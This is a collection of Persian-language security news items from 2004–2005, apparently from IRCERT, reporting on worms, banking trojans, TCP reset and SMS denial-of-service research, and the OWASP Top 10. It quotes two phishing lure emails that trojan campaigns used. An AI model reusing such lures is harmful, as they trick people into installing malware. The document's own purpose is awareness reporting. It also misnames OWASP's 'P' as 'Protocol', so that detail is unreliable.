موضوع حملات مرتبط با TCP reset پیش از این مورد بررسی قرار گرفته بود. به نظر می رسید که هکر باید بتواند شناسه بسته داده ای بعدی در یک session را حدس بزند تا بتواند حمله موفقی را انجام دهد. احتمال وقوع این امر 1 در 4.3 میلیارد است! اما نتایج تحقیقات واتسون چیز دیگری را نشان می دهد. بنابر روش کشف شده توسط این محقق می توان احتمال موفقیت حمله را به 1 در 260000 افزایش داد. بد نیست بدانید که یک هکر با استفاده از خطوط ارتباطی با عرض باند بالا می تواند تمامی 260000 حمله را حداکثر در 15 ثانیه انجام دهد.

این حملات می توانند باعث مختل شدن کار DNS ها و ارتباط بین روترهای اصلی شبکه شود. همچنین چنین حملاتی می تواند باعث ایجاد اختلال در تجارت الکترونیکی و قطع ارتباط خریدار با سایت تاجر و یا فروشنده شود.

البته پاول واتسون معتقد است که بسیاری از شبکه ها در مقابل این حملات آمادگی دارند و میزان خطر این حفره بالا نیست.


﻿ IRCERT - هکرها تلفن همراه را تهدید می کنند - اخبارها و هشدارها

هکرها تلفن همراه را تهدید می کنند

4 اکتبر 2005 – 12 مهر 1384

هکرها می توانند شبکه های سلولار را در شهرهای بزرگ با بمباران سرویس پیامهای متنی با اسپم، از کار بیاندازند.

محققان می گویند چنین حمله ای امکانپذیر است چون شرکتهای تلفن همراه سرویس پیامهای متنی را به گونه ای در شبکه ارائه می کنند که یک هکر می تواند سیستم پیام دهی را همراه با شبکه صوت از مدار خارج کند. از آنجایی که سیستم پیام دهی از طریق اینترنت در دسترس است، شبکه های سلولار در معرض خطر حملات انکار سرویس یا DoS نیز هستند و کامپیوترها می توانند با تعداد زیادی پیام یا فرمان، آنها را هدف قرار دهند و از ارائه خدمات شبکه به مشتریان جلوگیری کنند.

دکتر مک دانیل- یکی از اساتید دانشگاه پنسیلوانیا – که در این باره تحقیقاتی انجام داده است، می گوید:“‌شما با ارسال 165 پیام در ثانیه می توانید تمامی منهتن را در اختیار بگیرید.“

شرکت های تلفن همراه در پاسخ می گویند که از این حملات مطلع بوده اند و تدابیر لازم را اندیشیده اند. اما مک دانیل و دوستانش می گویند که اکثر شبکه ها در برابر این حملات آسیب پذیر هستند و یک کامپیوتر با یک مودم کابلی می تواند حمله را انجام دهد.


﻿ IRCERT - ویروسی که اشتباه گرفته شد - اخبارها و هشدارها

ویروسی که اشتباه گرفته شد

6 آگوست 2004 – 16 مرداد 1383

متخصصان امنیتی در ابتدا تصور می کردند کرمی که با استفاده از موتور جستجوی People در یاهو ، آدرسهای ایمیل کاربران را جمع آوری می کند ،‌ نسخه جدیدی از MyDoom است.

علت این اشتباه آن بود که هفته گذشته ، آخرین نسخه MyDoom با حمله به چهار موتور جستجو سعی کرد نشانی های ایمیلی را برای انتشار خود بیابد. اما پس از بررسی های دقیق تر متخصصان متوجه شدند که این کرم ، نسخه جدید کرم دیگری با نام Evaman است.

مدیر بخش تحقیقات شرکت ضدویروس F-Secure گفته است که یک شرکت ضدویروس به اشتباه این کرم را نسخه جدید MyDoom معرفی کرده و سایر شرکتها از آن تبعیت کرده اند. وی می گوید:“ درحال حاضر شرایط بسیار پیچیده است. شباهتهایی در شیوه کار و کد ویروس وجود دارد. همگان آن را MyDoom می نامیدند تا این که فردی متوجه شد که این کرم از خانواده Evaman است. البته ما فکرر می کنیم که منبع دو ویروس یکی است و یا اینکه منابع، بسیار به هم نزدیک هستند.“

یکی از مشاورین ارشد امنیتی در آزمایشگاههای Kaspersky توضیح می دهد که محققان معمولا با کمک روشهایی خاص یک نرم افزار خطرناک را نامگذاری می کنند. اولین اولویت آنها تولید یک روش تشخیص امضا است نه یک تحلیل و بررسی دقیق. لذا تغییر نام یک ویروس مشکلات زیادی را برای کاربران ایجاد می کند چون تا به حال باید نامی خاص را تشخیص می دادند و حال آن که نام ویروس آن نبوده است.

F-Secure نیز تا به حال نام ویروس را تغییر نداده و آن را همچنان MyDoom نامیده است.


﻿ IRCERT - نصب چیپ شناسایی در دست یک مرد - اخبارها و هشدارها

نصب چیپ شناسایی در دست یک مرد

15 فوریه 2005 - 27 بهمن 1383

برای بسیاری از افراد کاشت چیپ شناسایی با فرکانس رادیویی ( RFID ) به نظر یک داستان علمی تخیلی است، اما در واقعیت این کار انجام می شود و اثر آن همانند نیش یک پشه است.

جوزف کرال - یکی از مدیران Flanders - در روز 10 ژانویه با کمک یک دکتر، چیپی را زیر پوست خود کاشته است. تنهای اثر باقیمانده از آن یک نقطه کوچک قرمز رنگ است. وی طی یک سخنرانی در کنفرانس امنیتی RSA در این باره چنین می گوید:“ حس کردم یک زنبور مرا نیش زده است. آنها از یک سرنگ و بی حس کننده موضعی استفاده کردند.“

موضوع چیپهای شناسایی زیر پوستی چند سالی است که موضوع مباحثات مختلف است. مدافعان حریم خصوصی تاکید دارند که ممکن است سارقان هویت، اطلاعات خصوصی فرد را از این شناسه های رادیویی به سرقت ببرند. ترس از این موضوع که دولتها از این چیپها بهره برداری کنند تا موقعیت فرد را شناسایی کنند، طرفداران آزادی را نیز به عکس العمل واداشته است. البته به نظر می رسد بعضی از این نگرانی ها بی مورد است اما به هر حال اعتراضات ادامه دارد.

کرال به عنوان یک بیمار این چیپ را دریافت کرده است. وی به دو دارو حساسیت دارد و به خاطر تصادف حین اسکی، یک صفحه کوچک فلزی زیر چشم چپ وی نصب شده است. زمانی که چیپ توسط یک reader خواند هشود، یک دکتر در بخش اورژانس می تواند به یک کلمه عبور 16 رقمی دست یابد که به وی اجازه خواهد داد با دسترسی به یک سایت، نام و مشخصات کرال، دکترش و ... را بیابد. آگاهی دکترها از وجود صفحه فلزی مذکور ضروری است. چشم چپ وی برای همیشه بزرگ شده است و بدون این اطلاعات ممکن است دکتر اشتباها جمجمه وی را سوراخ کند.

کرال تیز ابتدا با مسائل پشت پردن این چیپها نشکل داشته است اما وی ریسکهای امنیتی این کار را قابل کنترل می داند. در حال حاضر چیپ تنها دارای یک عدد 16 رقمی است که کلمه عبور سایت است. در آن سایت نیز تنها اطلاعاتی قرار می گیرد که کاربر با آنها موافقت کرده باشد. وی همچنین اشاره می کند:“ برای خواندن اطلاعات چیپ توسط reader باید فاصله این دو حداکثر حدود 3 اینچ باشد، لذا سرقت اطلاعات از چیپ نیز به سادگی میسر نیست.


﻿ IRCERT - اخبار و هشدارها - MyDoom درخواست کار نویسندگان

نویسنده MyDoom به دنبال کار

10 سپتامبر 2004 - 20 شهریور 1383

نویسندگان ویروس MyDoom یک پیغام پنهانی در آخرین نسخه از این ویروس قرار داده اند که طی آن از شرکتهای تولیکننده ضدویروس درخواست کار کرده اند!

MyDoom.U و MyDoom.V از طریق الحاق به ایمیل منتشر می شوند و درصورتی که کاربر فایل الحاقی آلوده را باز کند، این ویروسها یک اسب تروا با نام Surila را دریافت و بر روی کامپیوتر قربانی نصب خواهند کرد. همچنین پیغامی نیز خطاب به شرکتهای تولیکننده ضدویروس در این نسخ پنهان شده است که متن آن چنین است:“ We searching 4 work in AV industry “

هنوز مشخص نیست که آیا این درخواست جدی است یا خیر اما کارشناسان امنیتی معتقدند حتی درصورت جدی بودن این درخواست ، هیچ یک از شرکتهای تولیدکننده ضدویروس حاضر نیستند چنین افرادی را استخدام کنند. آنها معتقدند که نمی توان به چنین افرادی برای تولید نرم افزاری که قرار است از میلیون ها کاربر حفاظت کند، اعتماد کرد. همچنین متخصصان دانش لازم برای نوشتن ویروس با دانش لازم برای مقابله با ویروس را متفاوت می دانند چون نویسندگان ویروس اهمیتی به خرابی کد و یا ناسازگاری آن نمی دهند.


﻿ IRCERT - ده مشکل امنیتی مهم سال - اخبارها و هشدارها

10 مشکل امنیتی مهم سال

27 ژانویه 2004 – بهمن 1382

OWASP ( Open Web Application Security Protocol )همانند هر ساله ، لیستی از 10 مشکل امنیتی مهم سال را منتشر کرده است. اگر نگاهی به لیست سال گذشته بیاندازیم متوجه

می شویم که متاسفانه شرکتها هنوز مساله امنیت برنامه های تحت وب را جدی نگرفته اند چون بسیاری از موارد در این لیست مشابه لیست سال گذشته است. مدیر OWASP اظهار امیدواری کرده است که مدیران امنیتی شرکتها این لست را دریافت کنند و در اختیار تیم های تولیدکننده نرم افزار در شرکت خود قرار دهند.

لیست منتشره برای امسال به قرار زیر است :

1- ورودی غیرمعتبر : مهمترین مشکل امنیتی امسال همانند سال گذشته است چون اعتبار اطلاعات حاصل از درخواستهای تحت وب ،پیش از استفاده توسط یک برنامه کاربردی تحت وب ، کنترل نمی شود. برای مثال بعضی خرده فروشها و فروشندگان جزء از کارتهایی برای خرید و فروش استفاده می کنند که قابل سوء استفاده هستند و لذا افراد ناسالم هر چه بخواهند پرداخت می کنند.

2- کنترل دسترسی ناقص : این مشکل از آنجا ناشی می شود که بعضی محدودیتهایی که سیستم برای اعمال کاربران در نظر می گیرد به خوبی اجرا نمی شود و جوانب مختلف در نظر گرفته نشده است. سیستم از آنجایی که نمی تواند یک کاربر معتبر را تشخیص دهد لذا به وی اجازه ورود می دهد و به وی اعتماد می کند.

3- نقص در مدیریت تایید هویت: این مشکل به دو دلیل ایجاد می شود. اول این که بعضی برنامه نویسان برنامه هایی با تایید هویت ضعیف تولید می کنند تا سیستهای ساده و پایه ای مانند PDA ها بتوانند login کنند. اما این امر باعث می شود که هکرها بتوانند نشست های (Session) کاربری جدیدی ایجاد کنند. همچنین انجام عملیات Log off از برنامه های مبتنی بر وب همیشه ساده نیست. برای مثال فردی که از یک کیوسک عمومی که به امنیت توجه دارد ، login می کند ، اختیارات کمتری باید داشته باشد و مثلا بازآغازی سیستم غیرممکن خواهد بود.

4- نقص در cross site scripting : این نقص در حال مرتفع شدن است چون مایکروسافت در حال مکانیزمهایی برای کنترل در IE و محیط .NET است. اما هنوز هم حدود 30% از مشکلات منشر شده ناشی از این نقص است. بانکهای آنلاین از جمله سایتهایی هستند که به شدت با این مشکلات دست به گریبان هستند.

5- سرریز بافر : شاید بتوان گفت که سرریز بافر نیز روزهای پایانی عمر خود را می گذراند چون زبانهای جدید برنامه نویسی از مایکروسافت و جاوا تقریبا آن را حذف کرده اند. اما مشکل از میلیون ها خط کد و برنامه ای است که میراث نسل قبلی زبانها برنامه نویسی است.

6- نقصهای تزریقی : این نوع از مشکلات زمانی ایجاد می شود که هکر بتواند یک دستور را برای یک برنامه تحت وب بفرستد و آن دستوربر روی کامپیوتر برنامه اجرا شود. برنامه ای که هنگام دسترسی به یک سیستم خارجی یا سیستم عامل داخلی تعدادی پارامتر پاس می کند می تواند برای انجام این نوع حملات هدف خوبی باشد.

7- مدیریت نامناسب خطاها : نمونه این نوع از مشکلات زمانی است که یک سایت به فردی اطلاع می دهد که چه کسی درحال login کردن است به خصوص زمانی که نام کاربری و کلمه عبور صحیح است.

8- ذخیره سازی نامطمئن : علیرغم وجود تعداد زیادی محصولات خوب و رایگان برای رمزنگاری، هنوز هم بعضی برنامه نویسها ترجیح می دهند الگوریتمهای خود را به کار بگیرند.

9- Denial of Service : این نوع از حملات هم از انواع قدیمی هستند ، تنها تفاوت این است که به جای سیستم عامل ، برنامه کاربردی مورد حمله قرار می گیرد. پیش بینی شده است که امسال حملات بسیاری از این نوع بر روی برنامه های کاربردی انجام خواهد شد.

10- مدیریت پیکربندی نامطمئن : منظور توابع مدیریتی است که می توان از طریق وب به آنها دسترسی داشت ، در حالی که این کار از نظر امنیتی صحیح نیست.


﻿ IRCERT - ویروس های مهم ماه آوریل - اخبارها و هشدارها

ویروس های مهم ماه آوریل

1 مه 2005 - 11 اردیبهشت 1384

شرکت آنتی ویروس پاندا لیستی از 10 ویروس شاخص ماه آوریل را که توسط Panda ActiveScan شناسائی شده اند، منتشر کرده است. به گزارش MEC-Security،‌ اکثر این ویروسها در گروه اسبهای تروا و یا کرمهای اینترنتی قرار می گرفتند، اما حفره امنیتی Outlook Express که از ماه آگوست سال گذشته توسط تروجان Mhtredir.gen مورد حمله قرار گرفته بود و وصله امنیتی آن نیز در بولتن MS04-013 شرکت ماکروسافت منتشر شده بود، در این ماه همچنان مشکلات زیادی را برای کاربران بوجود آورد.

در این لیست 4 تروجان، 4 کرم اینترنتی و یک backdoor به چشم می خورد. آنتی ویروس پاندا بطور مشخص Netsky.P را به عنوان بدترین ویروس این ماه معرفی کرده است. این کرم اینترنتی که از طریق برنامه های P2P منتقل می شود، از یک آسیب پذیری در اینترنت اکسپلورر به نام Exploit/Iframe استفاده کرده و برای کاربران دردسرهای زیادی بوجود می آورد.

لیست کامل این 10 ویروس و درصد انتشار آنها به قرار زیر است:

1- حفره امنیتی Outlook Express : 3.6%

2- کرم اینترنتی Netsky.P : 2.44%

3- تروجان Qhost.AF: 2.18%

4- تروجان Shinwow.E: 2.02%

5- کرم اینترنتی Sdbot.ftp: 1.82%

6- کرم اینترنتی Gaobot.gen.worm: 1.11%

7- تروجان Downloader.BSU: 1.05%

8- کرم اینترنتی Bagle.CA: 1.05%

9- تروجان Citifraud.A 1.02%

10- Backdoor/ Small.HI 0.99%

علاوه بر این لیست، شرکت آنتی ویروس پاندا دسته بندی دیگری نیز از نرم افزارهای جاسوسی یا spyware ها ارائه کرده است. این نرم افزارها که برای جمع آوری اطلاعات محرمانه کاربران طراحی شده اند، در چند ماه اخیر شیوع زیادی در اینترنت یافته اند. هکرها برای استفاده مالی از این اطلاعات محرمانه، آنها را به شخص یا اشخاص دیگری که به این اطلاعات نیاز دارند، می فروشند.

در بسیاری از موارد نرم افزارهای جاسوسی با همکاری adware ها فعالیت می کنند. در نتیجه می توانند با ایجاد تغییراتی در browser کاربر او را به وب سایت مشخصی هدایت کنند و یا آگهی های تبلیغاتی در قالب pop-up نمایش دهند.

لیست نرم افزارهای جاسوسی که در ماه آوریل در اینترنت شایع بودند به شرح زیر است:

1- ISTbar : 3.97%

2- New.net: 3.71%

3- Cydoor: 3.46%

4- BetterInet: 3.37%

5- Altnet: 2.52%

6- Dyfuca: 1.14%

7- Petro-Line: 0.9%

8- MarketScore: 0.8%

9- Aveo-Attune: 0.38%
10- YourSiteBar: 0.35%

برای اطلاعات بیشتر می توانید به آدرس اینترنتی شرکت پاندا مراجعه نمایید.


﻿ IRCERT - تعقیب کامپیوترها روی اینترنت - اخبارها و هشدارها

تعقیب کامپیوترها روی اینترنت

4 مارس 2005 - 14 اسفند 1383

یک متخصص مدعی است راهی یافته است که می توان سخت افزار کامپیوتر را از راه دور شناسایی کرد. این امر باعث می شود کاربران اینترنت نتوانند به صورت ناشناس به مرور وب بپردازند.

تادایوشی کونو - دانشجوی دکترا - در مقاله ای به این تکنیک اشاره کرده است:“ در حال حاضر چندین روش قدرتمند برای تعیین سیستم عامل یک کامپیوتر از راه دور وجود دارد. ما این ایده را گسترش داده ایم و مفهوم شناسایی از راه دور تجهیزات فیزیکی را معرفی کرده ایم.“

با استفاده از تکنیک کونو می توان جستجوی از راه دور انجام داد. برای مثال می توان اتصال یک کامپیوتر به اینترنت را رهیابی کرد حتی اگر از نقاط دسترسی مختلفی استفاده کند. همچنین می توان تعداد سیستمهای پشت یک NAT‌ را شمارش کرد حتی اگر این سیستمها از شماره IP تصادفی استفاده کنند. NAT یا Network Address Translation، پروتکلی است که با استفاده از آن تمامی ماشینهای پشت یک فایروال، با همان شماره IP فایروال روی اینترنت ظاهر می شوند.

وی در مقاله خود با اشاره به توانایی هایی که تکنیک وی در اختیار گروههای نظارتی قرار می دهد، آن را به پروژه Carnivore تشبیه می کند. Carnivore یک نرم افزار نظارت بر اینترنت بود که توسط FBI تهیه شده بود. تکنیک کونو با نفوذ و سوء استفاده از انحرافات کوچک و جزئی clock سخت افزار عمل می کند.

در این مقاله تاکید شده است که انجام این تکنیک و شناسایی یک سیستم نیاز به همکاری وی ندارد و برای تخمین انحرافات clock، تنها حجم کمی از اطلاعات مورد نیاز است. البته نوع سیستم عامل در حجم اطلاعات مورد نیاز مؤثر است.

آزمایشات انجام شده توسط این متخصص و همکارانش نشان داده است که انحرافات clock برای هر ماشین در گذشت زمان تقریبا ثابت باقی می ماند و تفاوت این انحرافات در ماشینهای مختلف قابل تشخیص و به نظر یکتاست.

نتیجه تحقیقات کونو در ماه می در سمپوزیوم IEEE ارائه خواهد شد.


﻿ IRCERT - حمله تروا به نرم افزار ضدجاسوسی مایکروسافت - اخبارها و هشدارها

حمله تروا به نرم افزار ضدجاسوسی مایکروسافت

10 فوریه 2005 - 22 بهمن 1383

متخصصان امنیتی دیروز هشدار دادند که ویروس نویسان برنامه ای ایجاد کرده اند که می تواند برنامه ضدجاسوسی مایکروسافت را غیرفعال کند.

این اسب تروا که Bankash-A نام گرفته است، اولین برنامه ای است که ضدجاسوس مایکروسافت را هدف قرار داده است. مایکروسافت در اوایل ژانویه نسخه بتای برنامه ضدجاسوسی خود را ارائه کرده است.

Sophos در یک راهنمایی امنیتی هشدار داده است که Bankash مانند سایر ترواها تلاش می کند تا کلمات عبور و مشخصات بانکی کاربران را سرقت کند. Sophos نام این تروا را Bankash قرار داده چون این اسب تروا به مشتریان بانکها حمله می کند و یک فایل با نام ASH.dll را بر روی هارد قربانی نصب می کند.

مایکروسافت اعلام کرده است که در حال بررسی این اسب ترواست و از مشتریان خود که مورد حمله واقع شده اند خواسته است تا با بخش پشتیبانی این شرکت تماس بگیرند و برای پیگیری قانونی مسئله نیز اقدام کنند.


﻿ IRCERT - اسب تروا اسپم را به سوی موبایلها می راند - اخبارها و هشدارها

اسب تروا اسپم را به سوی موبایلها می راند

9 نوامبر 2004- 19 آبان 1383

یک شرکت ضدویروس هشدار داد که یک برنامه خطرناک با تسخیر تعدادی کامپیوتر روسی به دارندگان تلفنهای همراه اسپم ارسال می کند.

بنا به گفته Sophos این برنامه که یک اسب تروا با نام Troj/Delf-HA است، کنترل هر کامپیوتری را که این برنامه خطرناک در آن اجرا شود، به دست می گیرد. سپس با استفاده از خدمات پیغام رسانی متنی روسی شروع به ارسال SMS به کاربران تلفنهای همراه به صورت تصادفی می کند.

گرگ ماستوراس - تحلیلگر ارشد امنیتی Sophos - می گوید:“ اسپم تلفن همراه یک دردسر جدی است و باعث اذیت می شود و می تواند هزینه قبض موبایل را بسیار بالا ببرد. در حال حاضر اسپمرهای SMS از کامپیوترهای بی دفاع برای ارسال پیغامهای خود استفاده می کنند.“

این اسب تروا همانند Cabir سعی در آلوده سازی تلفنهای همراه ندارد بلکه با استفاده از کامپیوترها به ارسال پیغام می پردازد.

چهارسال پیش ویروسی به نام Timfonica از کامپیوترها استفاده کرد تا تعداد زیادی پیغام SMS را برای کاربران تلفن همراه در اسپانیا ارسال کند.بنا به گفته ماستوراس در نمونه های قبلی اسپمهای SMS، سعی شده بود تا کاربر تلفن همراه را قانع کند تا با یک شماره pay-per-minute تماس بگیرد یا برای دریافت بعضی خدمات ثبت نام کند.

بعضی متخصصان معتقدند که در آینده نزدیک اسپم موبایل به یک مشکل جدی همانند اسپم اینترنتی مبدل خواهد شد.

Delf پیغام اسپم مورد نظر را از یک سایت روسی دریافت می کند. برخلاف ویروس این برنامه سعی نمی کند به صورت خودکار خود را به سایر کامپیوترها منتشر کند، بلکه گسترش آن وابسته به عملکرد هکر است که آن را برای کامپیوترهای قربانی ارسال کند.

کاربران برای مقابله با این اسب تروا باید سعی کنند فایلهای الحاقی ناشناس و غیرقابل اعتماد را باز نکنند.


﻿ IRCERT - تروجانی که از طریق تصویر نفوذ می کند - اخبارها و هشدارها

تروجانی که از طریق تصویر نفوذ می کند

28 سپتامبر 2004 - 7 مهر 1383

متخصصان هشدار داده اند که تصاویری را بر روی اینترنت مشاهده کرده اند که درصورت نمایش، می تواند یک اسب تروا را بر روی سیستم قربانی قرار دهد.

EasyNews - یکی از تامین کننده گروههای خبری Usenet - دو تصویر JPEG را شناسایی کرده است که با استفاده از مشکل امنیتی موجود در شیوه کار با تصاویر، می توانند سیستم را آلوده کنند. تنها کافی است یک کاربر این تصاویر را باز کند تا اسب تروای مزبور روی سیستم وی قرار گیرد.

حدود یک هفته پیش بود که کد حمله به فایلهای گرافیکی در اختیار عموم قرار گرفت. محققان امنیتی نگران هستند با توجه به عمومیت استفاده از فایلهای تصویری، یک کد خطرناک بتواند از طریق شبکه های اشتراک فایل، وب یا اسپم به طور گسترده ای ، سیستمهای کاربران را آلوده کند.

البته کد فعلی منتشر شده برای اسب ترواچندان پیچیده نیست. شرکت F-Secure در وبلاگ خود اعلام کرده است که از انجایی که این تصاویر تکثیر نمی شوند لذا ویروس نیستند. به نظر می رسد که نویسندگان این کد قصد داشته اند تا برنامه اسب تروا را از طریق این فایلهای JPEG دریافت کنند و روی کامپیوترهای قابل نفوذ نصب کنند اما سایتهای دریافت این برنامه درحال حاضر فعال نیستند.

همانطور که در خبرهای قبلی اشاره شده بود،‌برنامه پردازش فایلهای گرافیکی در ویندوز (GDI+ )‌ دارای یک مشکل امنیتی در پردازش فایلهای JPEG است که محصولات مختلف مایکروسافت را تحت تاثیر قرار داده است. سیستم عاملهای غیر ویندوز مانند لینوکس و Mac OS X در معرض این خطر نیستند.

زمانی که این اسب تروا روی یک سیستم فعال شود، به یک سایت FTP متصل می شود . نرم افزاری را دریافت می کند که یک در پشتی را روی کامپیوتر آلوده نصب می کند.


﻿ IRCERT - اسب تروا و جاسوسی از عملیات بانکی - اخبارها و هشدارها

اسب تروا و جاسوسی از عملیات بانکی

11 نوامبر 2004 – 21 آبان 1383

متخصصان امنیتی هشدار می دهند که اسب تروایی را کشف کرده اند که جزئیات عملیات بانکی کاربر روی وب و عادتهای وی در هنگام مرور وب را ثبت می کند

شرکت ضدویروس Sophos اعلام کرده است که اسب تروای Banker-AJ کاربران آنلاین بانکهای بریتانیایی مانند Abbey ، Barclays ، Egg ، HSBC ، Lloyds TSB ، Nationwide و NatWest را مورد حمله قرار داده است. این تروا سیستمهایی را آلوده می کند که سیستم عامل ویندوز دارند.

این شرکت اضافه می کند که تروای مزبور پس از نصب منتظر می ماند تا کاربر از وب سایت بانک خود بازدید کند. سپس کلمه عبور را ثبت کرده و همراه با تصاویری از صفحه نمایش – که محتوای حساب فرد را نشان می دهد - برای هکر ارسال می کند.

گراهام کلولی – مشاور ارشد Sophos – می گوید:" این نسل جدیدی از حملات Phishing است. این نوع حمله مبتنی است بر بازدید کاربر از سایت صحیح و واقعی. پس از اطمینان از حضور کاربر در سایت مورد نظر ثبت کلیدهای فشرده شده و برداشت تصویر از صفحه نمایش آغاز می شود و این اطلاعات برای هکر ارسال می شود."

در حملات Phishing معمولا هکر سایتهای غیرواقعی ایجاد می کند تا اطلاعات کاربر را سرقت کند. برای مثال ایمیلهایی برای کاربران ارسال می شود که به نظر از سایتهای شرکتهای معتبر فرستاده شده اند. در این ایمیلها از کاربران خواسته می شود تا از سایتهای غیرواقعی و خطرناک بازدید کنند. با ورود کاربران به این سایتها از آنها اطلاعاتی مانند کارت اعتباری و غیره پرسیده می شود و برای هکر ارسال می شود. معمولا این حملات علیه مشتریان بانکها انجام می پذیرد اما اخیرا eBay و Amazon نیز هدف این حملات بوده اند.

سخنگوی بانک Barclays می گوید که تا به حال تکنیک استفاده از سایتهای قانونی را دیده است. وی می افزاید:" ما از وجود این نوع اسب تروا آگاه بوده ایم و در حال کار بر روی آن هستیم."

Sophos نیز اشاره می کند که چند ماه پیش تروای مشابهی با نام Tofger مشاهده کرده است اما این تکنیک بیشتر در برزیل مورد استفاده بوده است.


﻿ IRCERT - اخبار و هشدارها - XP حمله اسب تروا به ویندوز

حمله اسب تروا به ویندوز XP

29 دسامبر 2004 – 9 دی 1383

گزارشها نشان می دهد که اسب تروایی منتشر شده که بر روی کامپیوارهای دارای سیستم عامل ویندوز XP نصب می شود و اختیار سیستم قربانی را به دست یک هکر می دهد.

Symantec این هقته طی یک راهنمایی امنیتی هشدار داد این برنامه که Phel نام دارد - ترکیب به هم ریخته ای از کلمه Help – کاربران را از طریق کنترلها Help مرورگر IE و در هنگام مشاهده سایتهای خطرناکی که ایجاد شده ، آلوده می کند. البته ممکن است وجود یک مشکل در این برنامه از آلوده شدن بعضی سیستمها جلوگیری کند.

این اسب تروا از حفره ای استفاده می کند که در ماه اکتبر کشف شده بود. این مشکل امنیتی به چگونگی برخورد و کار مرورگر IE و ویندوز XP SP2 با فایلهای help که از طریق صفحات وب فراخوانی می شوند، ارتباط دارد.

این حفره امنیتی ارتباطی با مشکلات جدیدی که هفته گذشته در فایلهای help کشف شده بود، ندارد.

یکی از سخنگویان مایکروسافت اعلام کرده است که این شرکت در حال بررسی کد این اسب ترواست و سعی دارد با شناسایی نویسندگان این برنامه،‌ آنها را به دست قانون بسپارد. مایکروسافت هنوز اصلاحیه ای برای حفره امنیتی مزبور ارائه نکرده است.

مایکروسافت در سال 2004 مشکلات متعددی در مرورگرش داشته است و همین امر باعث شده که مرورگر سورس باز Firefox بتواند سهم بیشتری از بازار نسبت به گذشته بگیرد.

راهنمایی امنیتی Symantec درباره این مشکل امنیتی در سایت این شرکت در دسترس است.


﻿ IRCERT - اسبهای تروا چهار نعل می تازند - اخبارها و هشدارها

اسبهای تروا چهار نعل می تازند

7 جولای 2005 – 16 تیر 1384

یک شرکت امنیت ایمیل هشدار داد که مجموعه ای از اسبهای تروا به شبکه ها در سراسر دنیا حمله کرده اند.

شرکت MessageLabs اعلام کرد که طی 24 ساعت گذشته 54 هزار کپی از نسخه جدید Downloader Trojans را بلوکه کرده اند.

یکی از متخصصان امنیتی این شرکت می گوید:“ آنها از موضوعاتی برای ایمیل استفاده می کنند که پیش از این استفاده شده بود اما ما از تمامی شبکه ها درحال دریافت این ایمیلها هستیم.“

این ایمیلها که اسبهای تروای Downloader.abc و Downloader.xz را به همراه دارند، در ظاهر گزارشات اسپم از یک مدیر شبکه هستند. در ایمیلها از کاربران خواسته می شود تا فایل الحاقی را اجرا کنند تا اکانت ایمیل آنها از کار نیافتد. اگر کاربری فریب بخورد و این فایل را اجرا کند، یک در پشتی بر روی سیستم وی برای سوء استفاده هکرها باز می شود.

MessageLabs اعلام کرده است که ایمیلهای هر دو اسب تروا مشخصات یکسانی دارند. محتوای ایمیلی که آلوده به این اسبهای تروا است، این چنین است:

"Your e-mail account was used to send a huge amount of unsolicited spam messages during the recent week. If you could please take 5-10 minutes out of your online experience and confirm the attached document so you will not run into any future problems with the online service.

"If you choose to ignore our request, you leave us no choice but to cancel your membership.

"Virtually yours, Network Administrator Team"


﻿ IRCERT - 52 اسب تروا در درون گوشی شما! - اخبارها و هشدارها

52 اسب تروا در درون گوشی شما!

20 آوریل 2005 - 31 فروردین 1384

شرکت SimWorks ، تولیدکننده ضدویروس گوشی های تلفن همراه، امروز گزارش داد که 52 اسب تروای جدید در درون نرم افزارها و بازیهای مختلف گوشی های تلفن همراه پنهان هستند. در حالی که به نظر می رسد نرم افزار مربوطه برای استفاده مناسب و بی خطر است، در واقع اسبهای تروا در آن قرار دارند که اجزای مهم و حیاتی سیستم تلفن همراه را از کار می اندازند.

این اسبهای تروا تنها گوشی هایی را هدف قرار می دهند که از Symbian استفاده می کنند، سیستم عاملی که با نرم افزار مشابه ارائه شده توسط مایکروسافت رقابت می کند تا امکانات کامپیوترها را در گوشی های موبایل ارائه کند. به گفته یکی از مدیران ارشد SimWorks هنوز هیچ موبایلی آلوده نشده است.

البته هنوز تلفنهای هوشمند که از این نوع سیستمهای عامل استفاده می کنند، بخش کوچکی از بازار را در اختیار دارند اما کارشناسان معتقدند که طی دهه آینده و با گسترش کاربر این سیستم عاملهای پیشرفته، ویروسهای تلفن موبایل نیز رواج بیشتری خواهند یافت.

با این گزارش تعداد اسبهای تروای Symbian به بیش از 100 عدد رسیده است و باعث شده زنگ خطر برای صنعت بی سیم به صدا درآید.


﻿ IRCERT - اسب تروا یا اصلاحیه مایکروسافت؟ - اخبارها و هشدارها

اسب تروا یا اصلاحیه مایکروسافت؟

26 ژانویه 2005 - 7 بهمن 1383

یک اسب تروا سعی کرده است تا با استفاده از روند ارائه اصلاحیه مایکروسافت، کاربران را گول بزند.

یک ایمیل قلابی که خود را به عنوان یک اطلاعیه از مایکروسافت جا می زند و با موضوع "MS Windows/Critical Error" منتشر می شود، سعی می کند بدینوسیله کاربران را گول بزند تا یک برنامه را که به ایمیل الحاق شده دریافت و نصب کنند. اما اشکالات متعدد گرامری و املایی این ایمیل باعث شده افراد زیادی گول نخورند.

در پیام این ایمیل آمده است:

"In the libraries of OS Windows(r) critical errors have been found,This errors lead to destruction of the system files from your computer without an opportunity on restoration."

فایل الحاقی اجرایی این ایمیل Windowsupdate.rar نام دارد. Symantec اعلام کرده است که این فایل در دیتابیس ویروسها وجود ندارد و هنوز شناسایی نشده است. مایکروسافت صفحه ای را برای پاسخگویی مشتریان درباره این ایمیل اختصاص داده است.


﻿ IRCERT - یا اسب تروا؟ - اخبارها و هشدارها Screensaver

Screensaver یا اسب تروا؟

7 دسامبر 2004 - 17 آذر 1383

یک شرکت ضدویروس هشدار داد که یک اسب تروا خود را به عنوان اسکرین سیور ضد اسپم Lycos Europe بر روی اینترنت و از طریق فایل الحاقی به ایمیل توزیع کرده است.

شرکت F-Secure امروز اعلام کرد که این اسب تروا با ثبت کلیدهای فشرده شده اقدام به سرقت نام کاربری، کلمات عبور، جزئیات کارتهای اعتباری و نشانی های ایمیل می کند.

میکو هایپونن - مدیر بخش تحقیقات F-Secure - معتقد است با توجه به تبلیغات انجام شده بر روی این اسکرین سیور که به مقابله با اسپم می پردازد، بسیاری ممکن است به اشتباه این اسب تروا را به جای آن اسکرین سیور نصب و فعال کنند. وی می گوید:“ هر کسی پشت این برنامه است، از سوی Lycos احساس خطر کرده است. پس از تبلیغات بسیاری از مردم قصد دریافت این اسکرین سیور را داشتند اما به علت در دسترس نبودن سایت نتوانستند. لذا بسیاری از کاربران از دریافت چنین ایمیلی استقبال می کنند.“

